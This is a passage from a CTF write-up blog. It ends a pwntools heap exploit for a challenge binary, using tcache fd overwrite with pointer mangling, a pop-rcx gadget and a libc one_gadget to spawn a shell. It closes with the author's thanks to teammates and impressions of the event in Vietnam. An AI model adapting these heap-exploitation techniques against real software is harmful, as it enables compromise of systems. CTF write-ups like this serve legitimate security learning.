fd_overwrite  = b"A"*0x900  + p64(0x1337133713371337) + p64(0)*2
fd_overwrite += p64(0) + p64(0x31) + p64(mangle(ret,heap_base+0x14ed0))
add_ctf(5,b"AAAA",0,True,-32767,-1,fd_overwrite)

# overwrite ret pointer
#gdb.attach(io,gdbscript="break *0x555555556c2e")
pop_rcx = p64(libc.address + 0x8c6bb)
one_gadget = p64(libc.address+0x50a37)
payload = p64(0) + pop_rcx + p64(0) + one_gadget
add_ctf(6,b"AAAA",1,False,0,0,0,topics=[payload])

io.interactive()

Conclusion

This was the first time I got on the podium after playing so many ctfs, and to do it representing Malaysia, was really exciting. I really have to thank my teammates Firdaus, Teng, and Raihan for all of their hardwork. Also thanks to the entirety of team Malaysia for making the trip so fun, everyone did great!

Thanks a lot to the organisers as well, the hotel and venue they booked were really top tier. I had a lot of fun with the pwn challs too, but I think some of them required too much reversing, and they should’ve given the source code.

Happy that I met quite a few friends from previous events too! Ha Long Bay was great, really good food, and really nice views. Had a great time.